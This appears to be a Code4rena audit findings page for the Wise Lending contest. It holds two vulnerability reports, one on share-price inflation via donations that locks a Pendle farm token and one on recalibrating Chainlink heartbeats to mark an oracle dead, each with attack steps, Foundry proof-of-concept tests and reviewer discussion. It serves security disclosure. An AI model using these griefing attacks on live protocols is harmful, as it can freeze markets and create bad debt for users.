Platform: Code4rena
Start Date: 21/02/2024
Pot Size: $200,000 USDC
Total HM: 22
Participants: 36
Period: 19 days
Judge: Trust
Total Solo HM: 12
Id: 330
League: ETH
Rank: 8/36
Findings: 2
Award: $7,312.25
🌟 Selected for report: 1
🚀 Solo Findings: 1
1880.2924 USDC - $1,880.29
An attacker can inflate a share price using donation with addCompoundRewards
. It will lead to reverts in syncSupply
modifier effectively locking the PendlePowerFarmToken
_validateSharePriceGrowth
reverts if the share price grew too fastfunction _validateSharePriceGrowth( uint256 _sharePriceNow ) private view { uint256 timeDifference = block.timestamp - INITIAL_TIME_STAMP; uint256 maximum = timeDifference * RESTRICTION_FACTOR + PRECISION_FACTOR_E18; if (_sharePriceNow > maximum) { revert InvalidSharePriceGrowth(); } }
addCompoundRewards
, increasing totalLpAssetsToDistribute
https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L502-L524function addCompoundRewards( uint256 _amount ) external syncSupply { if (_amount == 0) { revert ZeroAmount(); } totalLpAssetsToDistribute += _amount; if (msg.sender == PENDLE_POWER_FARM_CONTROLLER) { return; } _safeTransferFrom( UNDERLYING_PENDLE_MARKET, msg.sender, PENDLE_POWER_FARM_CONTROLLER, _amount ); }
syncSupply
modifier calls the PendlePowerFarmToken._syncSupply
, which moves the totalLpAssetsToDistribute
to underlyingLpAssetsCurrent
, thereby increasing the share price.
https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L334-L345function _syncSupply() private { uint256 additonalAssets = previewDistribution(); if (additonalAssets == 0) { return; } underlyingLpAssetsCurrent += additonalAssets; totalLpAssetsToDistribute -= additonalAssets; }
_validateSharePriceGrowth
, leading to a revert.
https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L81-L96modifier syncSupply() { _triggerIndexUpdate(); _overWriteCheck(); @> _syncSupply(); _updateRewards(); _setLastInteraction(); _increaseCardinalityNext(); uint256 sharePriceBefore = _getSharePrice(); _; @> _validateSharePriceGrowth( _validateSharePrice( sharePriceBefore ) ); }
manualSync
will revert because they use the syncSupply
modifier.exchangeRewardsForCompoundingWithIncentive
and PendlePowerFarmController.exchangeLpFeesForPendleWithIncentive
(which calls PendlePowerFarmController.syncSupply
=> PendlePowerFarmController._syncSupply
=> PendlePowerFarmToken.manualSync
).It's cheapest to perform this attack on a new pool or a pool with very low deposits. However, it can also be done on larger pools, but the cost of the attack will be higher.
Steps for the attack:
addCompoundRewards
underlyingLpAssetsCurrent
* RESTRICTION_FACTOR
.underlyingLpAssetsCurrent
* RESTRICTION_FACTOR
/ 365.syncSupply
is called once a day), they would need to donate 7x more.7*24
x more.additionalAssets
to be large enough that the share price becomes too high.manualSync
will revert because they use the syncSupply
modifier.exchangeRewardsForCompoundingWithIncentive
and PendlePowerFarmController.exchangeLpFeesForPendleWithIncentive
, as well as lockPendle
, withdrawLock
.addPendleMarket
does not allow adding the same market again.contracts/PowerFarms/PendlePowerFarmController/Donate.t.sol
forge test -f https://mainnet.infura.io/v3/YOUR_KEY -vvv --mc Donate --mt testOne
pragma solidity =0.8.24; import "forge-std/console.sol"; import "forge-std/Test.sol"; import "./PendlePowerFarmControllerBase.t.sol"; contract Donate is PendlePowerFarmControllerBaseTest { function testOne() cheatSetup(true) external { vm.stopPrank(); _test(); } // This one is slower, take 2-3 minutes on my machine function testTwo() external { _setProperties(); controllerTester = new PendleControllerTester( AddressesMap[chainId].vePendle, AddressesMap[chainId].pendleTokenAddress, AddressesMap[chainId].voterContract, AddressesMap[chainId].voterRewardsClaimer, AddressesMap[chainId].oracleHub ); controllerTester.addPendleMarket( AddressesMap[chainId].PendleMarketStEth, "name", "symbol", MAX_CARDINALITY ); _test(); } function _test() internal { address market = AddressesMap[chainId].PendleMarketStEth; PendlePowerFarmToken ppfToken = PendlePowerFarmToken( controllerTester.pendleChildAddress(market) ); _log(ppfToken, "start"); deal(market, address(this), 100 ether); IERC20(market).approve(address(ppfToken), type(uint).max); ppfToken.depositExactAmount(100); _log(ppfToken, "depositExactAmount(100)"); ppfToken.manualSync(); _log(ppfToken, "manualSync"); ppfToken.addCompoundRewards(2_000); _log(ppfToken, "addCompoundRewards(2_000)"); // expect revert vm.warp(block.timestamp + 6); vm.expectRevert(InvalidSharePriceGrowth.selector); ppfToken.manualSync(); _log(ppfToken, "manualSync after warp(6)"); // make sure another deposit does not change it vm.expectRevert(InvalidSharePriceGrowth.selector); ppfToken.depositExactAmount(10_000); _log(ppfToken, "depositExactAmount(10_000)"); // expect revert after 1 day vm.warp(block.timestamp + 1 days); vm.expectRevert(InvalidSharePriceGrowth.selector); ppfToken.manualSync(); _log(ppfToken, "manualSync 1 day"); // expect revert after 7 days vm.warp(block.timestamp + 7 days); vm.expectRevert(InvalidSharePriceGrowth.selector); ppfToken.manualSync(); _log(ppfToken, "manualSync 7 days"); // expect revert after 1 year vm.warp(block.timestamp + 365 days); vm.expectRevert(InvalidSharePriceGrowth.selector); ppfToken.manualSync(); _log(ppfToken, "manualSync 1 year"); // expect NO revert after 2 years // becase the donated sum is initialDeposit * RESTRICTION_FACTOR * 2 // If we donated more it would revert vm.warp(block.timestamp + (2 * 365 days)); ppfToken.manualSync(); _log(ppfToken, "manualSync 2 years"); } function _log(PendlePowerFarmToken ppfToken, string memory text) internal view { console.log("___", text); console.log("totalSupply: \t\t\t", ppfToken.totalSupply()); console.log("underlyingLpAssetsCurrent: ", ppfToken.underlyingLpAssetsCurrent()); console.log("totalLpAssetsToDistribute: ", ppfToken.totalLpAssetsToDistribute()); } }
Manual review
addCompoundRewards
.RESTRICTION_FACTOR
in case of an emergency.Oracle
#0 - c4-pre-sort
2024-03-17T15:38:27Z
GalloDaSballo marked the issue as primary issue
#1 - GalloDaSballo
2024-03-17T15:38:44Z
Please review this + #123 and #125 for best as they are very close
#2 - c4-pre-sort
2024-03-17T15:38:48Z
GalloDaSballo marked the issue as high quality report
#3 - vonMangoldt
2024-03-20T13:30:52Z
Yes true but its not a high since you can always withdraw and we can redeploy a new one everytime. So no user funds at risk or funds lost or blocked. Downgraded imo. Still a reason to introduce a role for compound adding and a solid medium imo
#4 - vm06007
2024-03-20T15:04:15Z
@GalloDaSballo please mark this as disagree with severity
(add label)
#5 - vm06007
2024-03-20T15:06:34Z
Seems only deposits can be locked, which is similar to admin calling shutdown
on farm and stopping farm from working. Withdrawals are not blocked so all users could still exit the farm without any issues.
#6 - vm06007
2024-03-20T15:07:27Z
POC also shows only depositExactAmount calls, but not other functions at risk.
#7 - vm06007
2024-03-20T15:09:59Z
this might be a duplicate though: https://github.com/code-423n4/2024-02-wise-lending-findings/issues/86 then #88 could be closed in favor of #86
#8 - GalloDaSballo
2024-03-20T15:17:13Z
@GalloDaSballo please mark this as
disagree with severity
(add label)
Have asked Staff to reach out!
#9 - c4-judge
2024-03-26T17:02:45Z
trust1995 marked issue #123 as primary and marked this issue as a duplicate of 123
#10 - c4-judge
2024-03-26T18:59:26Z
trust1995 marked the issue as satisfactory
🌟 Selected for report: 00xSEV
5431.9558 USDC - $5,431.96
Currently, if there are 50 fast updates followed by no updates, a Chainlink oracle will be considered dead, even though it's normal behavior. Chainlink Oracles update either after some time has passed or upon a price change.
There is a _chainLinkIsDead
function that returns true if the last update took longer than the heartbeat.
https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/WiseOracleHub/OracleHelper.sol#L579-L585
unchecked { upd = block.timestamp < upd ? block.timestamp : block.timestamp - upd; return upd > heartBeat[_tokenAddress]; }
It's essentially called on every request to the Chainlink oracle, before the actual call, to ensure the price is up to date.
heartBeat
is updated when recalibrate
/recalibrateBulk
is called. Anyone can call them.
Both of these functions call _recalibrate
.
https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/WiseOracleHub/OracleHelper.sol#L512-L514
heartBeat[_tokenAddress] = _recalibratePreview( _tokenAddress );
In _recalibratePreview
, we see that currentSecondBiggest
is returned, representing the second-largest difference between updates. Thus, heartBeat
is set to the second-largest time difference between two consecutive updates in the last 50 updates. iterationCount
is capped by MAX_ROUND_COUNT
in _getIterationCount
, which is set to 50.
Aggregators receive updates from the oracle network only when the Deviation Threshold or Heartbeat Threshold triggers an update during an aggregation round. The first condition that is met triggers an update to the data.
- Deviation Threshold: A new aggregation round starts when a node identifies that the off-chain values deviate by more than the defined deviation threshold from the onchain value. Individual nodes monitor one or more data providers for each feed.
- Heartbeat Threshold: A new aggregation round starts after a specified amount of time from the last update.
If you check "Show more details" here, you can see that for most feeds, deviation is set to 1-2% and heartbeat is 86400s=24 hours. However, some feeds are set to 0.5% or even less.
If there's a period of high volatility followed by no volatility, it's possible that heartBeat
in Wise will be set to a low value. Consequently, the Chainlink feed will be considered dead after a short period of no updates.
E.g., if there are 50 updates, once every minute, followed by 10 hours of no updates, and then no updates for an additional 24 hours, the heartBeat
will be set to 1 minute in Wise. Consequently, the oracle will be considered dead after 1 minute of no updates. This means it will be considered dead for the initial 10 hours, then considered alive for 1 minute, and then considered dead again for the following 24 hours.
Examples demonstrating similar events in the wild can be seen in this Dune dashboard: https://dune.com/00xsev/answer-updated-counters.
The Chainlink Oracle is considered dead for a substantial amount of time, affecting liquidations, deposits, withdrawals, and all other functions using this oracle.
The attacker can disable the entire market that uses the oracle by calling recalibrate. This can lead to bad debt (the price changes rapidly, but the oracle still reverts after the first update), griefing (users cannot use the protocol), etc.
It can be even worse if combined with block stuffing or when the gas price is too high and Chainlink does not update. The updates stop coming as often as usual, and the feed is considered dead long enough to accrue bad debt. For example, if the last 50 updates occurred every minute, a sudden spike in demand for block space could make updates come only once an hour, preventing liquidations for 1-2 hours.
forge test -f https://mainnet.infura.io/v3/YOUR_KEY -vvv --mt testOne --mc ChainlinkDies$
contracts/Tests/ChainlinkDies.t.sol
pragma solidity =0.8.24; import "forge-std/console.sol"; import "forge-std/Test.sol"; import "../WiseOracleHub/OracleHelper.sol"; contract OracleHelperMock is OracleHelper { constructor( address _wethAddress, address _ethPriceFeed, address _uniswapV3Factory ) Declarations(_wethAddress, _ethPriceFeed, _uniswapV3Factory) { } function addOracle( address _tokenAddress, IPriceFeed _priceFeedAddress, address[] calldata _underlyingFeedTokens ) external { _addOracle( _tokenAddress, _priceFeedAddress, _underlyingFeedTokens ); } function recalibrate( address _tokenAddress ) external { _recalibrate(_tokenAddress); } function chainLinkIsDead( address _tokenAddress ) external view returns (bool) { return _chainLinkIsDead(_tokenAddress); } } interface PartialAccessControlledOffchainAggregator is IPriceFeed { function disableAccessCheck() external; function owner() external returns (address); function checkEnabled() external returns (bool); } contract ChainlinkDies is Test { address WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address ETH_PRICE_FEED = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; address UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; address FEI = 0x956F47F50A910163D8BF957Cf5846D573E7f87CA; PartialAccessControlledOffchainAggregator FEI_ETH_FEED = PartialAccessControlledOffchainAggregator(0x4bE991B4d560BBa8308110Ed1E0D7F8dA60ACf6A); uint LAST_NORMAL_BLOCK = 16_866_049; // one block before the update after no updates for a day uint TARGET_BLOCK = 16_872_122; function testOne() external { OracleHelperMock sut = _test(LAST_NORMAL_BLOCK); assertFalse(sut.chainLinkIsDead(FEI)); sut = _test(TARGET_BLOCK); assert(sut.chainLinkIsDead(FEI)); } function _test(uint blockNumber) internal returns (OracleHelperMock) { vm.rollFork(blockNumber); vm.prank(FEI_ETH_FEED.owner()); FEI_ETH_FEED.disableAccessCheck(); assertFalse(FEI_ETH_FEED.checkEnabled()); OracleHelperMock sut = new OracleHelperMock(WETH_ADDRESS, ETH_PRICE_FEED, UNISWAP_V3_FACTORY); // make sure recalibrate works sut.addOracle( { _tokenAddress: FEI, _priceFeedAddress: FEI_ETH_FEED, _underlyingFeedTokens: new address[](0) } ); sut.recalibrate(FEI); console.log("block:", blockNumber); console.log("chainLinkIsDead:", sut.chainLinkIsDead(FEI)); return sut; } }
Manual review
recalibrate
functions and only calling it when it will not lead to DoS.Oracle
#0 - c4-pre-sort
2024-03-17T14:34:49Z
GalloDaSballo marked the issue as primary issue
#1 - c4-pre-sort
2024-03-17T14:34:56Z
GalloDaSballo marked the issue as sufficient quality report
#2 - GalloDaSballo
2024-03-17T14:35:21Z
Worth discussing if CL heartbeat changes can cause issues as that's something that can happen based on your CL deals and other projects sponsorship of Feeds
#3 - vonMangoldt
2024-03-20T09:34:56Z
it takes second highest out of last50 rounds if you recalibrate. If it takes forever to update for chainlink it means there is no volatility. So dismissed
#4 - c4-judge
2024-03-26T16:57:17Z
trust1995 marked the issue as satisfactory
#5 - trust1995
2024-03-26T16:58:23Z
Warden discussed a potential scenario when the oracle would be considered dead after just one minute of inactivity.
#6 - c4-judge
2024-03-26T16:58:29Z
trust1995 marked the issue as selected for report
#7 - vm06007
2024-04-02T14:27:27Z
Warden discussed a potential scenario when the oracle would be considered dead after just one minute of inactivity.
it depends on the expected heartbeat, if its one minute, and latest data does not come within that frame then oracle SHOULD be considered dead.
Example: recalibrate() looks for second longest time gap between latest 50 (or 500 depending on chain) rounds, by analyzing timegaps between reported prices in last 50/500 rounds contract chooses appropirate expected timeframe when oracle needs to answer before considered dead. If the time frame is too short this is only because that what was picked up from latest round data and should be honored (unlike this finding)
Note that it can be recalibrated to increase the expected time if needed.
#8 - thebrittfactor
2024-04-29T14:37:15Z
For transparency and per conversation with the sponsors, see here for the Wise Lending team's mitigation.